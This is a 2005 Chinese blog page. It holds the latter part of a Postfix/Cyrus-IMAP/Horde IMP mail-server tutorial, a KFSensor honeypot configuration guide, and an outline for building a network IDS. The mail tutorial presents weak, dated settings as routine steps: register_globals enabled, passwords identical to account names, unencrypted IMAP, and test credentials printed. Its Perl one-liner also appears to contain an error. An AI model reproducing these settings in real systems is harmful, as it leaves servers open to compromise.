dGVzdGVy

334 UGFzc3dvcmQ6

dGVzdHB3

235 Authentication successful

QUIT

221 Bye

Connection closed by foreign host.


此时,由于还没有安装Cyrus-IMAP以及创建邮箱,所以还不能提交邮件,请继续下一步。

这里使用了mmencode来得到MIME-Base64编码的验证串。mmencode可以在metamail这个包里面找到。此外,你也可以使用Perl里面的MIME::Base64模块(需要安装)来取得这个验证串:perl -MMIME::Base64 -e 'print base64_encode("tester\0tester\0testpw");'。

8.  安装Cyrus-IMAP
8.1.  下载
http://asg.web.cmu.edu/cyrus/download/

[root@mail postfix]# cd /usr/src

[root@mail src]# wget ftp://ftp.andrew.cmu.edu/pub/cyrus-mail/cyrus-imapd-2.1.12.tar.gz


8.2.  编译与安装
编译Cyrus-IMAP,并取消kerberos支持(在Redhat中,kerberos库有问题,很难编译通过,Mandrake则可以通过;此外,我们也不需要kerberos的支持)和snmp的支持:

[root@mail src]# tar -zxf cyrus-imapd-2.1.12.tar.gz

[root@mail src]# cd cyrus-imapd-2.1.12



[root@mail cyrus-imapd-2.1.12]# ./configure --with-cyrus-prefix=/usr/cyrus \

> --with-sasl=/usr/local/lib/sasl2 --with-auth=unix \

> --without-ucdsnmp



[root@mail cyrus-imapd-2.1.12]# make depend

[root@mail cyrus-imapd-2.1.12]# make all CFLAGS=-O

[root@mail cyrus-imapd-2.1.12]# make install


如果编译时提示没有找到com_err.h,请复制当前目录的et目录下面的com_err.h到/usr/include:

[root@mail cyrus-imapd-2.1.12]# cp et/com_err.h /usr/include




Cyrus-IMAP的安装脚本有问题,cyradm(现在使用的是Perl版本,原来的TCL版本不再支持)所需要的perl模块被安装到一些不在Perl的@INC的目录里,需要手工安装。



[root@mail cyrus-imapd-2.1.12]# cd perl/imap

[root@mail imap]# perl Makefile.PL

[root@mail imap]# make install




8.3.  配置
创建主配置文件/etc/cyrus.conf:

[root@mail imap]# cd ../..

[root@mail cyrus-imapd-2.1.12]# cp master/conf/small.conf /etc/cyrus.conf


添加cyrus-imap的管理账号cryus,该帐户不需要设置密码,通常不会使用它来登录:

[root@mail cyrus-imapd-2.1.12]# useradd -g mail -M -s/no/shell cyrus




创建IMAP配置文件/etc/imapd.conf,管理员是cyrus:

[root@mail cyrus-imapd-2.1.12]# vi /etc/imapd.conf




configdirectory: /var/imap

partition-default: /var/spool/imap

admins: cyrus

sasl_pwcheck_method: saslauthd


关于imapd.conf可以参阅Cyrus-IMAP的文档来配置其他可用的参数。



由于Cyrus-IMAP的管理程序cyradm及其模块在认证管理用户时会在/etc/sasldb2里面查找认证信息,所以需要单独创建该文件:

[root@mail cyrus-imapd-2.1.12]# saslpasswd2 -c cyrus

Password: cyrus

Again (for verification): cyrus

[root@mail cyrus-imapd-2.1.12]# chown -R cyrus /etc/sasldb2




建立Cyrus-IMAP服务器的目录结构:

[root@mail cyrus-imapd-2.1.12]# mkdir -p /var/imap/sieve

[root@mail cyrus-imapd-2.1.12]# mkdir /var/spool/imap



[root@mail cyrus-imapd-2.1.12]# chown -R cyrus:mail /var/imap

[root@mail cyrus-imapd-2.1.12]# chown -R cyrus:mail /var/spool/imap



[root@mail cyrus-imapd-2.1.12]# su -s/bin/bash cyrus

bash-2.05$ tools/mkimap

bash-2.05$ exit


这里tools/mkimap这个实用程序在cyrus-imap的源程序目录里面。



创建日志:

[root@mail cyrus-imapd-2.1.12]# echo local6.debug /var/log/imapd.log >> /etc/syslog.conf

[root@mail cyrus-imapd-2.1.12]# echo auth.debug /var/log/auth.log >> /etc/syslog.conf



[root@mail cyrus-imapd-2.1.12]# /etc/rc.d/init.d/syslog restart


设置邮件限额:

[root@mail cyrus-imapd-2.1.12]# chattr -R +S /var/imap/user

[root@mail cyrus-imapd-2.1.12]# chattr -R +S /var/imap/quota

[root@mail cyrus-imapd-2.1.12]# chattr -R +S /var/spool/imap




由于Cyrus-IMAP的主控进程和Postfix的主控进程名字一样,容易混淆而且不方便控制,所以将Cyrus-IMAP服务器的主控进程做个别名连接:cyrusd。

[root@mail cyrus-imapd-2.1.12]# cd /usr/cyrus/bin

[root@mail bin]# ln -s master cyrusd


8.4.  运行
启动命令如下:

[root@mail bin]# /usr/cyrus/bin/cyrusd&


8.5.  测试Cyrus-IMAP
启动Cyrus-IMAP后,首先检查日志/var/log/messages、/var/log/imapd.log和/var/log/auth.log有无错误信息,然后检查进程,应该有如下进程存在:

[root@mail bin]# pstree |grep cyrusd



|-cyrusd


接着检查端口,应该有如下端口打开:

[root@mail bin]# netstat -an |grep LISTEN



tcp00 0.0.0.0:1100.0.0.0:*LISTEN

tcp00 0.0.0.0:1430.0.0.0:*LISTEN




现在创建邮箱。

使用cyradm来创建和删除邮箱,它是Cyrus-IMAP自己带的交互式管理界面,现在的版本是用Perl写的。你也可以直接调用Cyrus::IMAP::Admin模块创建自己的CGI或脚本来做邮箱管理,可以参考Cyrus::IMAP::Shell模块的程序。

[root@mail bin]# cyradm --user cyrus localhost

IMAP Password:

mail.cngnu.org> cm user.cyrus

mail.cngnu.org> sq user.cyrus STORAGE 10240000

mail.cngnu.org> cm user.tester

mail.cngnu.org> sq user.tester STORAGE 10240000

mail.cngnu.org> lm

user.cyrus user.tester

mail.cngnu.org> quit


如果要删除一个IMAP邮箱,需要先给管理员cyrus授予C(Create)和D(Delete)的权限才可以删除。

[root@mail bin]# cyradm --user cyrus localhost

IMAP Password:

mail.cngnu.org> cm user.testdel

mail.cngnu.org> lm

user.cyrus user.tester user.testdel

mail.cngnu.org> sam user.testdel cyrus cd

mail.cngnu.org> dm user.testdel

mail.cngnu.org> lm

user.cyrus user.tester


mail.cngnu.org> quit




再检测POP3和IMAP服务:

[root@mail bin]# telnet localhost 110

+OK mail.cngnu.org Cyrus POP3 v2.1.12 server ready

USER tester

+OK Name is a valid mailbox

PASS testpw

+OK Maildrop locked and ready

QUIT

+OK

[root@mail bin]# imtest -m login -a tester localhost
C: C01 CAPABILITY
S: * OK mail.cngnu.org Cyrus IMAP4 v2.1.12 server ready
S: * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE
S: C01 OK Completed
Password:
C: L01 LOGIN tester {6}
+ go ahead
C:
L01 OK User logged in
Authenticated.
Security strength factor: 0
. logout
* BYE LOGOUT received
. OK Completed




9.  安装IMP
9.1.  下载
http://www.php.net/get_download.php?df=php-4.3.1.tar.gz

http://www.horde.org/horde/

http://www.horde.org/imp/3.2.1/

http://www.horde.org/turba/

[root@mail bin]# cd /usr/src

[root@mail src]# wget http://www.php.net/distributions/php-4.3.1.tar.gz

[root@mail src]# wget ftp://ftp.horde.org/pub/horde/horde-2.2.1.tar.gz

[root@mail src]# wget ftp://ftp.horde.org/pub/pear/pear-1.0.1.tar.gz

[root@mail src]# wget ftp://ftp.horde.org/pub/imp/imp-3.2.1.tar.gz

[root@mail src]# wget ftp://ftp.horde.org/pub/turba/turba-1.2.tar.gz




9.2.  配置Apache与PHP
IMP对PHP的环境要求较高。所以通常需要升级PHP包,并安装由Horde定制后的PEAR包。编译新的PHP包前请确认系统中存在Apache(这里使用了Apache 2)以及其它相关的软件包。

RedHat的httpd-devel包中没有apache 2用来安装dso模块的脚本:instdso.sh,请自行从apache 2.x的发行包中取得,并放入/usr/lib/httpd/build中。

[root@mail src]# tar zxf php-4.3.1.tar.gz

[root@mail src]# cd php-4.3.1

[root@mail php-4.3.1]# ./configure --prefix=/usr --with-config-file-path=/etc \

> --with-mysql --with-apxs2 \

> --enable-ftp --enable-magic_quotes --with-xml \


> --with-gettext --with-imap \

> --with-imap-ssl --with-kerberos=/usr/kerberos

[root@mail php-4.3.1]# make

[root@mail php-4.3.1]# make install

[root@mail php-4.3.1]# [ -f /etc/php.ini ] && mv /etc/php.ini /etc/php.ini.orig

[root@mail php-4.3.1]# cp php.ini-dist /etc/php.ini


修改/etc/php.ini,将register_globals功能打开。

register_globals = On


安装PEAR包:

[root@mail php-4.3.1]# cd /usr/lib

[root@mail lib]# [-d php ] && mv php php.orig

[root@mail lib]# tar zxf /usr/src/pear-1.0.1.tar.gz

[root@mail lib]# mv pear php


最后重新启动Apache:

[root@mail lib]# /etc/rc.d/init.d/httpd restart


9.3.  配置Horde
安装Horde:

[root@mail lib]# cd /var/www/html

[root@mail html]# tar zxf /usr/src/horde-2.2.1.tar.gz

[root@mail html]# mv horde-2.2.1 horde

[root@mail html]# cd horde/scripts/db



[root@mail db]# mysql < mysql_create.sql



[root@mail db]# cd ../../config

[root@mail config]# for foo in *.dist; do cp $foo `basename $foo .dist`;done


然后修改config目录下面的horde.php。

[root@mail config]# vi horde.php


修改148行:

$conf['prefs']['driver'] = 'none';


为:

$conf['prefs']['driver'] = 'sql';


修改157行至162行,将其注释去掉并写入horde数据库的口令:

// $conf['prefs']['params']['phptype'] = 'mysql';
// $conf['prefs']['params']['hostspec'] = 'localhost';
// $conf['prefs']['params']['username'] = 'horde';
// $conf['prefs']['params']['password'] = '*****';
// $conf['prefs']['params']['database'] = 'horde';
// $conf['prefs']['params']['table'] = 'horde_prefs';



为:

$conf['prefs']['params']['phptype'] = 'mysql';
$conf['prefs']['params']['hostspec'] = 'localhost';
$conf['prefs']['params']['username'] = 'horde';
$conf['prefs']['params']['password'] = 'horde';
$conf['prefs']['params']['database'] = 'horde';
$conf['prefs']['params']['table'] = 'horde_prefs';



这里我们没有修改horde数据库的默认的数据库设置,如果在实际使用中,至少应该取一个比较复杂的密码。



再来修改config目录下面的registry.php。

[root@mail config]# vi registry.php


修改23行至24行,将其注释去掉:

// $this->registry['auth']['login'] = 'imp';
// $this->registry['auth']['logout'] = 'imp';



为:

$this->registry['auth']['login'] = 'imp';
$this->registry['auth']['logout'] = 'imp';



然后修改109、118行激活IMP和Turba:

'status' => 'inactive'



为:

'status' => 'active'



最后在浏览器中访问如下URL测试Horde需要的环境是否满足:

http://你的IMP服务器的IP/horde/test.php


如果发现有红色的提示,可能需要修改你的PHP的安装和配置(参见上一节),然后再重新测试。

9.4.  配置IMP
安装IMP:

[root@mail config]# cd ..

[root@mail horde]# tar zxf /usr/src/imp-3.2.1.tar.gz

[root@mail horde]# mv imp-3.2.1 imp

[root@mail horde]# cd imp/config

[root@mail config]# for foo in *.dist; do cp $foo `basename $foo .dist`;done


然后修改config目录里面的conf.php:

[root@mail config]# vi conf.php


修改37行:

$conf['menu']['apps'] = array();


为:

$conf['menu']['apps'] = array('turba');


修改57行:

$conf['user']['allow_resume_all'] = false;


为:

$conf['user']['allow_resume_all'] = true;


修改63行:

$conf['user']['allow_resume_all_in_drafts'] = false;


为:

$conf['user']['allow_resume_all_in_drafts'] = true;




然后修改prefs.php:

[root@mail config]# vi prefs.php


将自动维护功能关闭,修改424、425行:

'value' => 1,
'locked' => false,



为:

'value' => 0,
'locked' => true,



再注释773行:

'value' => '',


:

//'value' => '',


取消注释774行:

// 'value' => 'localsql',


为:

'value' => 'localsql',




最后修改servers.php:

[root@mail config]# vi servers.php


注释除"cyrus"服务器外的所有服务器配置,然后修改"cyrus"服务器的配置为:

$servers['cyrus'] = array(
'name' => 'Cyrus IMAP Server',
'server' => 'localhost',
'protocol' => 'imap/notls',
'port' => 143,
'folders' => '',
'namespace' => 'INBOX.',
'maildomain' => 'cngnu.org',
'realm' => 'cngnu.org',
'preferred' => ''
);





9.5.  配置Turba
安装Turba:

[root@mail config]# cd ../..

[root@mail horde]# tar zxf /usr/src/turba-1.2.tar.gz

[root@mail horde]# mv turba-1.2 turba

[root@mail horde]# cd turba/config

[root@mail config]# for foo in *.dist; do cp $foo `basename $foo .dist`;done


然后修改config目录里面的conf.php:

[root@mail config]# vi conf.php


修改32行:

$conf['menu']['apps'] = array();


为:

$conf['menu']['apps'] = array('imp');




9.6.  测试IMP
最后在浏览器中访问如下URL:

http://你的IMP服务器的IP/horde/


输入用户名tester和密码testpw登录。

10.  其他
10.1.  启动脚本
可以编写一个启动脚本mailsys来启动这些进程,这样就不需要单独启动postfix和cyrusd了:

#!/bin/bash
#
# mailsys This shell script takes care of starting and stopping
# Postfix and Cyrus-IMAP.
# author : xingyu.wang 2003/2/5
#
# chkconfig: 2345 80 30
# description: Postfix is a Mail Transport Agent, which is the program
# that moves mail from one machine to another.Cyrus-IMAP is a Mail
# Deliver Agent, which provide POP3 and IMAP4 services for user and
# deliver mail to local mailbox.
#
# processname: mailsys
# pidfile: /var/run/mailsys.pid
# Source function library.
. /etc/rc.d/init.d/functions
# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0
[ -f /usr/sbin/postfix ] || exit 0
[ -f /usr/cyrus/bin/cyrusd ] || exit 0
RETVAL=0
prog="Mail System"

start() {
    # Start daemons.
    echo -n $"Starting $prog: "
    echo -n $"SASL "
    /usr/local/sbin/saslauthd -a pam
    echo -n $"SMTP "
    /usr/sbin/postfix start > /dev/null 2>&1 &

    echo -n $"POP3 IMAP4 "
    /usr/cyrus/bin/cyrusd > /dev/null 2>&1 &

    RETVAL=$?

    if [ $RETVAL -eq 0 ]; then
        touch /var/lock/subsys/mailsys
        success $"$prog start"
    else
        failure $"$prog start failure"
    fi

    echo
    return $RETVAL
}

stop() {
    # Stop daemons.
    echo -n $"Shutting down $prog: "

    echo -n $"SMTP "
    /usr/sbin/postfix stop > /dev/null 2>&1 &

    echo -n $"POP3 IMAP4 "
    killproc cyrusd

    echo -n $"SASL "
    killproc saslauthd

    RETVAL=$?

    if [ $RETVAL -eq 0 ]; then
        rm -f /var/lock/subsys/mailsys
        success $"$prog stop"
    else
        failure $"$prog stop failure"
    fi

    echo
    return $RETVAL
}

# See how we were called.
case "$1" in
    start)
        start
    ;;
    stop)
        stop
    ;;
    restart|reload)
        stop
        start
        RETVAL=$?
    ;;
    *)
        echo $"Usage: $0 {start|stop|restart}"
        exit 1
esac
exit $RETVAL




[root@mail root]# chmod 755 /etc/rc.d/init.d/mailsys

[root@mail root]# cd /etc/rc3.d

[root@mail rc3.d]# ln -s ../init.d/mailsys S80mailsys

[root@mail rc3.d]# rm -rf S80sendmail


10.2.  整体测试
创建邮箱后,测试发信功能:

[root@mail root]# mail tester

Subject: test by me

this is a test.

.

CC:

[root@mail root]# mailq

Mail queue is empty

[root@mail root]# tail /var/log/mail/*




使用mailq来查看邮件队列是否有错误,并查看/var/log/mail/*是否有错误信息。如果一切正常,说明信件已经发送到tester了。

测试收信,先测试POP3:

[root@mail root]# telnet localhost 110

+OK mail.cngnu.org Cyrus POP3 v2.1.12 server ready

USER tester

+OK Name is a valid mailbox

PASS testpw

+OK Maildrop locked and ready

LIST

1 400

TOP 1 10

Return-Path:
X-Sieve: cmu-sieve 2.0
Return-Path:
Received: by mail. (Postfix, from userid 0)
id 5F1EF90005; Mon, 20 May 2002 18:03:43 +0800 (CST)
To: tester@cngnu.org
Subject: test by me
Message-Id: <20020520100343.5F1EF90005@mail00.cngnu.org>
Date: Mon, 20 May 2002 18:03:43 +0800 (CST)
From: root@cngnu.org (root)

this is a test.

.

QUIT

+OK


再测试IMAP:

[root@mail root]# imtest -m login -a tester localhost
C: C01 CAPABILITY
S: * OK mail.cngnu.org Cyrus IMAP4 v2.1.12 server ready
S: * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES IDLE
S: C01 OK Completed
Password:
C: L01 LOGIN tester {6}
+ go ahead
C:
L01 OK User logged in
Authenticated.
Security strength factor: 0

. select inbox
* FLAGS (\Answered \Flagged \Draft \Deleted \Seen)
* OK [PERMANENTFLAGS (\Answered \Flagged \Draft \Deleted \Seen \*)]
* 1 EXISTS
* 1 RECENT
* OK [UIDVALIDITY 1021736432]
* OK [UIDNEXT 3]
. OK [READ-WRITE] Completed

. fetch 1:1 (FLAGS BODY[HEADER.FIELDS (DATE FROM)])
* 1 FETCH (FLAGS (\Seen) BODY[HEADER.FIELDS (DATE FROM)] {68}
Date: Mon, 20 May 2002 09:26:09 +0800 (CST)
From: wxy@cngnu.org

)
. OK Completed
. logout
* BYE LOGOUT received
. OK Completed




最后测试IMP,在览器中访问如下URL:

http://你的IMP服务器的IP/horde/


输入用户名tester和密码testpw登录。



你也可以使用任何其它的邮件客户端程序来测试,如kmail、Outlook Express等等。

- 作者: 冥冢 2005年04月20日, 星期三 18:14  回复(1) |  引用(0) 加入博采

Kfsensor IDS+HONEYPOT高级配置

Kfsensor IDS+HONEYPOT高级配置策略。希望大家能专心学习下


KFSENSOR的优点:

1)准确性比较强,防火墙与其他的IDS常常会被一些"合法"了的网络通信所"迷惑",从而被RULE所"曲解",而KFSENSOR是不会分辨所有的连接中谁是合法,谁是不合法的。

2)低成本,KFSENSOR会在被攻击时以假睡眠方式来"欺骗"攻击者,并且只使用了极少的处理时间与网络资源。 它安装在用户的计算机时是不会影响其他程序的正常进行的,并且不需要其他附加的硬件。

3)使用简便。当你使用了KFSENSOR时就会很快得发现到这一点了。它的配置与操作到是以直线的"方向"进行的, 这只需要你看看说明,修改一下就可以正常使用了。

4)实时探测功能。只要在运行此程序,报告攻击与分析结果都会在很短的时间里完成。

5)探测未知的数据攻击,KFSENSOR不像其他的产品,它是不会依靠已知的攻击类型数据去探测的,它可以动态得探测其他新型的攻击。

6)安全的"渗透性"。KFSENSOR可以补足其他安全产品的不足,并提供附加层次的安全性。

7)只要一个管理员就通过配置监视与管理整个组织的HONEYPOT监视器了。


实验环境:PWIN2000PRO+KFSENSOR VER 1.1.0



工具栏:(启动工具栏:"VIEW"---》"TOOLBAR")

工具栏第一项为(红色的小喇叭)为PORTS显示(端口显示)。

第二项为"客人"模式显示。

第三项是启动HONEYPOT,

第四项是 停止HONEYPOT,最后一项为重启HONEYPOT。

任务栏: 任务栏有4个菜单,分别是"FILE""VIEW""Scenario""HELP"。



"FILE":
FILE"栏第一项为"导出",其中分为"EVENT LIST"("导出事件列表")与"SELECT EVENT"("导出选定的事件")。 "导出事件列表"是当HONEYPOT系统真的有了入侵事件存在时才能被击活的(就是说真的有人对你做出入侵行为时),此操作会导出所有的事件。 "选定事件"需要在点击了右窗口显示出来的某个事件才能击活,导出后的文件只会记录你选择的那个事件的详细内容。 以上两种导出都是以XML文本的方式保存的,你可以使用ASCII编辑器(记事本等)或其他可以打开XML文本的工具打开来查看。 下一项是"SERVICE"("服务"),头三个子项与工具栏的倒数三项用法是一样的。最后那两项是方便我们使用而设计的,分别是"把KFS注册为SYSTEM的一种服务"与"卸除这种服务"。 最后两项系"CLOSE"("关闭")与"EXIT"("退出")(PS:两个不是一样吗???) 这两项是不一样的,"CLOSE"会关闭桌面的程序界面,但程序依然进行。"EXIT"就是‘真的'退出此程序了。
"VIEW"中的第一项为"Event Details...",此项需要先点击选定右窗口的某个‘事件'才能被击活的。其实它的操作与双击右窗口的某个‘事件'的功能是一样的,是用来了解某个事件的入侵情况的。
 




 
如上图。

EVENT版块:

start time-------------行为开始时间

end time--------------行为停止时间

event ID---------------事件ID

TYPE------------------连接方式

DISCSRIPTION---事件详细描述

SERVERITY-------事件激烈程度

 

VISITOR版块:

IP----------------------入侵者IP

PORT----------------入侵者使用的端口

DOMAIN------------入侵者机器名

 

SENSOR版块:

IP---------------------探测器使用者IP

PORT---------------探测器被入侵端口

BOUND------------探测器所绑定的IP

PROTOCOL-----协议类型

ACTION-----------探测器对此事件所做出的行为

SIM SERVER--简明(预设置)的SERVER BANNER

 

DETAILS版块:

CLOSED BY------最后是由哪一方关闭此次连接的

Limit Exceeded---超出流量描述

RECEIVED---------从入侵者发出,由探测器接收到的数据

RESPONSE-------从探测器发出,由入侵者接收到的数据

"EXPAND"按钮------------展开(展开后可以选择多种显示格式,在‘FORMAT'栏上可以选择)

"NEXT"按钮-----------------下一个ID的事件详细情况

"PREVIOUS"按钮--------前一个ID的事件详细情况


接下来是介绍"VIEW"下的"PORTS"与"VISITORS"显示模式。

"PORTS"与"VISITORS"分别是指工具栏的那两种显示方式。 "PORTS"模式比较直观,大概就与其他的防火墙在模式上差不多吧。 "VISITORS"模式在左边的窗口会记录下入侵者的机器名与IP,单击选定后会在右边的窗口显示他对本机的行为与本机对他的反应等。


选择"LOAD EVENT..."可以选择读取某段时间内的事件。

"HIDE EVENT"为隐藏事件,向右的菜单有特定的条件供你选择。

"NEWEST EVENTS FIRST"与"OLDEST EVENTS FIRST"表示选择右边事件窗口中的事件排序是以最新事件发生的时间排序还是以最旧的事件发生的时间排序。

"ADD/REMOVE COLUMNS..."为一个专门管理右窗口的显示项目的菜单,它可以增加/减少右窗口中的项目,还可以移动他们之间的位置。 不会的话,可以"RESTORE DEFAULTS"啊:)

"CUSTOMIZE..."为KFSENSOR的主要功能选定。(其实这个基本上保持原设置就可以了。)

"TOOLBAR"与"STATUS BAR"分别代表工具栏与状态栏的显示与隐藏。


"Scenario":(这里Scenario的中文意思与我们这里使用不大匹配,所以我把它翻译成‘任务')

"SWITCH Scenario..."----------转换‘任务'

"EDIT Scenario..."----------------编辑‘任务'(这个工具这一栏是最重要的,你可以在这里用"ADD"增加,"EDIT"编辑,"DELETE"删除,&qot;COPY"复制) 选定‘任务'后按"EDIT"可以进入选定‘任务'的主菜单。
 

上图所示,"CHANGE ALL..."可以一次修改所有选项的属性,"ACTIVE"可以修改选定项的ACTIVE属性,"ADD"为增加选项,"DELETE"为删除选定的选项,"EDIT"为编辑选定的选项。
 


 


"EDIT SIM SERVER..."----------------简明的SERVER BANNER设置
上图所示,也是有"ADD""DELETE"等,最主要的还是"EDIT",选定后按"EDIT"可以编辑很多重要的东西(自己尝试一下吧:P)
"DOS attack Settings..."------------防御D.o.S攻击的策略

上图所示,"LIMITS"版块包括"MAX CLIENTS"("最大客户端数"),"MAX RECEIVE SIZE(BYTES)"(最大接受数据大小‘以字节为单位'),"MAX RECEIVE LOG SIZE(BYTES)"(最大接受日志大小‘以字节为单位'),"Visitor DOS Attack Limits"版块包括"MAX concurrent CONNECTIONS PER IP"("某一个IP在同一时间内可以允许的最大连接数"),"MAX CONNECTIONS PER IP"("某一个IP可以允许的最大连接数"),"LOCK OUT FOR(MINUTES)"(当上两项被超过时,KFSENSOR会自动将攻击者的IP锁定在一个时间内,在这个时间内如果此IP没有再向本机发送连接请求的话它就可以得到‘允许'连接的请求了,相反则被本机拒绝接受,此项就为此时间的长短选项,以分钟为单位),"Global DOS Attack Limit"版块包括"Max TCP Connections"("允许连接的最大TCP数量"),"Max UDP Connections"("允许连接的最大UDP数量"),"Reset Lock Up After (Hours)"("LOCK UP后的重新调整时间")。注:"Global DOS Attack Limit"版块中的选项是为了应付DDOS的,所以要慎重选择。

"EMAIL Alerts..."-------------------通过EMAIL发出警报的设置

"SET UP WIZARDS..."-----------------策略建立向导 此为第一次启动时的"策略建立向导",可以帮你快捷的运用这个工具。



介绍一下KFSENSOR的帮助吧,关于KFSENSOR的帮助目录树分为三个部分:

1)KFSENSOR的介绍,包括介绍,未来的版本与版权。

2)KFSENSOR的"观念": 观念的总体看法 KFSENSOR的优点 KFSENSOR是如何工作的 KFSENSOR的术语 KFSENSOR如何与其他安全产品相配合 展开KFSENSOR 攻击的类型 行为解析(这篇不错) 测试KFSENSOR的方法与途径

3)KFSENSOR手册


SOME TIPS:

此程序默认使用的所有文本都为XML文本。

启动后会在HONEYPOT机上生成一个环型连接,连接两端分别为kfsensmonitor.exe与kfsnserv.exe两个进程调用。

此工具最好是配合ACTIVE PORTS一齐使用。 (简单介绍一下ACTIVE PORTS吧,其实它就是FPORT.EXE的GUI版本,而且还有针对某端口所开进程的强行杀死功能。) 使用ACTIVE PORTS配合KFSENSOR的方法是:第一,可以有效的发现有什么在企图连接你的主机,连接了你的什么端口等。第二,好象TCP139等很难直接用OS删除的端口可以先使用ACTIVE PORTS将此端口的使用者进程强行杀死,然后用KFSENSOR监听。

在此工具的根目录下有一个名曰"CONF"的子目录,进去后会发现一个名字为"KFSensor"的XML文本文件,使用ASCII编辑器(记事本等)打开后,可以发现里面的‘内部结构'了,其实此文本为KFSENSOR启动时的默认配置,如:

TRUE

9747

127.0.0.1

就是指:

KFSENSOR默认启动时为ACTIVE状态

默认主进程使用端口为9747

默认绑定IP为127.0.0.1

还有很多很多.......下面是有关的详细说明:

--------此工具建立与最后保存了的时间

------------------默认主‘任务'(在‘任务'切换栏可以修改)

-----------------DNS缓存时间

-------------LOCKOUT IP所用的时间(此为默认值,在防DOS栏可以修改)

---------设置EMAIL入侵报告(如果其值为FALSE,其以下子值全部空)

----------日志‘等级'(有几项选择:EMERG‘暴露'ALERT‘警告'CRIT‘标准'ERR‘错误'WARNING‘警告'NOTICE‘注意'INFO‘信息'DEBUG‘调试'

--------最大客户端值(可在防DOS栏修改)

--------------某一个IP在同一时间内可以允许的最大连接数(可在防DOS栏修改)

-------------------某一个IP可以允许的最大连接数(可在防DOS栏修改)

--------------------最大接受日志大小‘以字节为单位'(可在防DOS栏修改)

-----------------------最大接受数据大小‘以字节为单位'(可在防DOS栏修改)

--------------------允许连接的最大TCP数量(可在防DOS栏修改)

--------------------允许连接的最大UDP数量(可在防DOS栏修改)

----------------LOCK UP后的重新调整时间‘以时间为单位'(可在防DOS栏修改)

与之间的为主设置区。不过比较简单,就是我先前举的例子:

---------程序活动状态

----------主程序端口

----主程序绑定端口

----限制于本地主机(此为默认值就可以了)

--------允许监控(此为默认值就可以了)

在后还有两项:

--------------TCP允许接收的缓冲器大小

--------------TCP允许发出的缓冲器大小

在此以后的文本结构分别为每一个‘任务'的主体部分(可以在"Scenario"->>"EDIT Scenario..."中修改)与简单BANNER内容设置部分(可以在"Scenario"->>"EDIT SIM SERVER..."中修改)。

注意:以上的全为此IDS启动后的默认值,只要你使用ASCII编辑工具修改后并保存,再重新启动KFSENSOR,它就可以按你修改后的配置运行了。

- 作者: 冥冢 2005年04月19日, 星期二 16:55  回复(2) |  引用(0) 加入博采

基于网络IDS的典型配置
  通常来说,一个企业或机构准备进军此领域时,往往选择从基于网络的IDS入手,因为网上有很多这方面的开放源代码和资料,实现起来比较容易,并且,基于网络的IDS适应能力强。有了简单网络IDS的开发经验,再向基于主机的IDS、分布式IDS、智能IDS等方面迈进的难度就小了很多。在此,笔者将以基于网络的IDS为例,介绍典型的IDS开发思路。
 

  通常来说,一个企业或机构准备进军此领域时,往往选择从基于网络的IDS入手,因为网上有很多这方面的开放源代码和资料,实现起来比较容易,并且,基于网络的IDS适应能力强。有了简单网络IDS的开发经验,再向基于主机的IDS、分布式IDS、智能IDS等方面迈进的难度就小了很多。在此,笔者将以基于网络的IDS为例,介绍典型的IDS开发思路。

  根据CIDF规范,我们从功能上将入侵检测系统划分为四个基本部分:数据采集子系统、数据分析子系统、控制台子系统、数据库管理子系统,如附图所示。

  具体实现起来,一般都将数据采集子系统(又称探测器)和数据分析子系统在Linux或Unix平台上实现,我们称之为数据采集分析中心;将控制台子系统在Windows NT或2000上实现,数据库管理子系统基于Access或其他功能更强大的数据库,多跟控制台子系统结合在一起,我们称之为控制管理中心。本文以Linux和Windows NT平台为例介绍数据采集分析中心和控制管理中心的实现。

  可以按照如下步骤构建一个基本的入侵检测系统。

  第一步 获取libpcap和tcpdump

  审计踪迹是IDS的数据来源,而数据采集机制是实现IDS的基础,否则,巧妇难为无米之炊,入侵检测就无从谈起。数据采集子系统位于IDS的最底层,其主要目的是从网络环境中获取事件,并向其他部分提供事件。目前比较流行的做法是:使用libpcap和tcpdump,将网卡置于"混杂"模式,捕获某个网段上有的数据流。

  libpcap是Unix或Linux从内核捕获网络数据包的必备工具,它是独立于系统的API接口,为底层网络监控提供了一个可移植的框架,可用于网络统计收集、安全监控、网络调试等应用。

  tcpdump是用于网络监控的工具,可能是Unix上最著名的sniffer了,它的实现基于libpcap接口,通过应用布尔表达式打印数据包首部,具体执行过滤转换、包获取和包显示等功能。tcpdump可以帮助我们描述系统的正常行为,并最终识别出那些不正常的行为,当然,它只是有益于收集关于某网段上的数据流(网络流类型、连接等)信息,至于分析网络活动是否正常,那是程序员和管理员所要做的工作。

  libpcap和tcpdump在网上广为流传,开发者可以到相关网站下载。

  第二步 构建并配置探测器,实现数据采集功能

  1. 应根据自己网络的具体情况,选用合适的软件及硬件设备,如果你的网络数据流量很小,用一般的PC机安装Linux即可,如果所监控的网络流量非常大,则需要用一台性能较高的机器。

  2. 在Linux服务器上开出一个日志分区,用于采集数据的存储。

  3. 创建libpcap库。从网上下载的通常都是libpcap.tar.z的压缩包,所以,应先将其解压缩、解包,然后执行配置脚本,创建适合于自己系统环境的Makefile,再用make命令创建libpcap库。libpcap安装完毕之后,将生成一个libpcap库、三个include文件和一个man页面(即用户手册)。

  4. 创建tcpdump。与创建libpcap的过程一样,先将压缩包解压缩、解包到与libpcap相同的父目录下,然后配置、安装tcpdump。

  如果配置、创建、安装等操作一切正常的话,到这里,系统已经能够收集到网络数据流了。至于如何使用libpcap和tcpdump,还需要参考相关的用户手册。

  第三步 建立数据分析模块

  网上有一些开放源代码的数据分析软件包,这给我们构建数据分析模块提供了一定的便利条件,但这些"免费的午餐"一般都有很大的局限性,要开发一个真正功能强大、实用的IDS,通常都需要开发者自己动手动脑设计数据分析模块,而这往往也是整个IDS的工作重点。

  数据分析模块相当于IDS的大脑,它必须具备高度的"智慧"和"判断能力"。所以,在设计此模块之前,开发者需要对各种网络协议、系统漏洞、攻击手法、可疑行为等有一个很清晰、深入的研究,然后制订相应的安全规则库和安全策略,再分别建立滥用检测模型和异常检测模型,让机器模拟自己的分析过程,识别确知特征的攻击和异常行为,最后将分析结果形成报警消息,发送给控制管理中心。

